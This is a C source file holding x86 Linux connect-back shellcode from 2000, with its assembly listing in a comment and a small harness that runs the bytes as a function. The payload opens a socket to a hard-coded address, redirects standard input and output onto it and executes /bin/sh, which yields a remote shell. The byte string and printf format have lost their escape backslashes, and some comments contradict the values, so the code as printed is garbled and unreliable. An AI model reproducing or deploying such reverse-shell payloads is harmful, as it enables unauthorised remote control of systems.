/*
Connecting shellcode written by lamagra <lamagra@digibel.org>
http://lamagra.seKure.de

May 2000

.file	"connect"
.version	"01.01"
.text
	.align 4
_start:
	#socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
	movl %esp,%ebp
	xorl %edx,%edx
	movb $102,%edx
	movl %edx,%eax		# 102 = socketcall
	xorl %ecx,%ecx
	movl %ecx,%ebx
	incl %ebx	 		# socket()
	movl %ebx, -8(%ebp)	# 1 = SOCK_STREAM
	incl %ebx
	movl %ebx, -12(%ebp)	# 2 = AF_INET
	decl %ebx			# 1 = SYS_socket
	movl %ecx, -4(%ebp)	# 0 = IPPROTO_IP 
	leal -12(%ebp),%ecx	# put args in correct place
	int  $0x80			# switch to kernel-mode
	xorl %ecx,%ecx
	movl %eax,-12(%ebp)	# save the fd

	# connect(fd,(struct sockaddr *)&struct,16);
	incl %ebx
	movw %ebx,-20(%ebp)	# 2 = PF_INET
	movw $9999,-18(%ebp)	# 9999 = htons(3879);
	movl $0x100007f,-16(%ebp) # htonl(IP) 
	leal -20(%ebp),%eax	# struct sockaddr
	movl %eax,-8(%ebp)	# load the struct
	movb $16,-4(%ebp)		# 16 = sizeof(sockaddr)
	movl %edx,%eax		# 102 = socketcall
	incl %ebx			# 3 = SYS_connect
	leal -12(%ebp),%ecx	# put args in place
	int  $0x80			# call socketcall()

	# dup2(fd,0-1-2)
	xorl %ecx,%ecx
	movb $63,%eax		# 63 = dup2()
	int  $0x80
        incl %ecx
        cmpl $3,%ecx
        jne  -0xa

	# arg[0] = "/bin/sh"
	# arg[1] = 0x0
	# execve(arg[0],arg);
	jmp  0x18
	popl %esi
	movl %esi,0x8(%ebp)
	xorl %eax,%eax
	movb %eax,0x7(%esi)
	movl %eax,0xc(%ebp)
	movb $0xb,%al
	movl %esi,%ebx
	leal 0x8(%ebp),%ecx	
	leal 0xc(%ebp),%edx	
	int  $0x80	
	call -0x1d
	.string "/bin/sh"
*/

#define NAME "connecting"

char code[]=
"x89xe5x31xd2xb2x66x89xd0x31xc9x89xcbx43x89x5dxf8"
"x43x89x5dxf4x4bx89x4dxfcx8dx4dxf4xcdx80x31xc9x89"
"x45xf4x43x66x89x5dxecx66xc7x45xeex0fx27xc7x45xf0"
"x7fx01x01x01x8dx45xecx89x45xf8xc6x45xfcx10x89xd0"
"x43x8dx4dxf4xcdx80x31xc9xb0x3fxcdx80x41x83xf9x03"
"x75xf6xebx18x5ex89x75x08x31xc0x88x46x07x89x45x0c"
"xb0x0bx89xf3x8dx4dx08x8dx55x0cxcdx80xe8xe3xffxff"
"xff/bin/sh";


main()
{
  int (*funct)();
  funct = (int (*)()) code;
  printf("%s shellcodentSize = %dn",NAME,strlen(code));
  (int)(*funct)();
}

// www.Syue.com [2004-09-26]